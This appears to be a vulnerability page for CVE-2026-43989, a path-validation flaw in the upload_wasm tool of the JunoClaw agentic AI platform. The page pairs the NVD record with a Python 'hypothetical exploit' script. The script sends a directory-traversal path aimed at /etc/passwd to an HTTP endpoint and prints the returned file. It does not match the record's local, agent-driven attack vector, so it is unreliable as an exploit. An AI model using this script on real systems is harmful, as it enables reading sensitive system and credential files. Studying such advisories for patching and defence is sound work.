CVE-2026-43989

import requests # Hypothetical exploit for the upload_wasm tool # The vulnerability allows reading arbitrary files due to lack of path validation. target_url = "http://vulnerable-host:port/api/upload_wasm" # Malicious path attempting to traverse directories and read /etc/passwd # Adjust the traversal depth based on the working directory of the application malicious_path = "../../../../../../etc/passwd" payload = { "path": malicious_path } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Potential Vulnerability Detected!") print("[+] Response Content:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] Error during exploit attempt:", str(e))

{"cve": {"id": "CVE-2026-43989", "sourceIdentifier": "[email protected]", "published": "2026-05-12T17:16:20.800", "lastModified": "2026-05-13T14:54:50.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, the upload_wasm MCP tool accepted a filesystem path from the agent and uploaded whatever bytes the path resolved to, with no validation of location, symlink target, file size, or file format. This vulnerability is fixed in 0.x.y-security-1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-59"}, {"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://github.com/Dragonmonk111/junoclaw/commit/a7886cd", "source": "[email protected]"}, {"url": "https://github.com/Dragonmonk111/junoclaw/releases/tag/v0.x.y-security-1", "source": "[email protected]"}, {"url": "https://github.com/Dragonmonk111/junoclaw/security/advisories/GHSA-rw59-34hw-pmwp", "source": "[email protected]"}]}}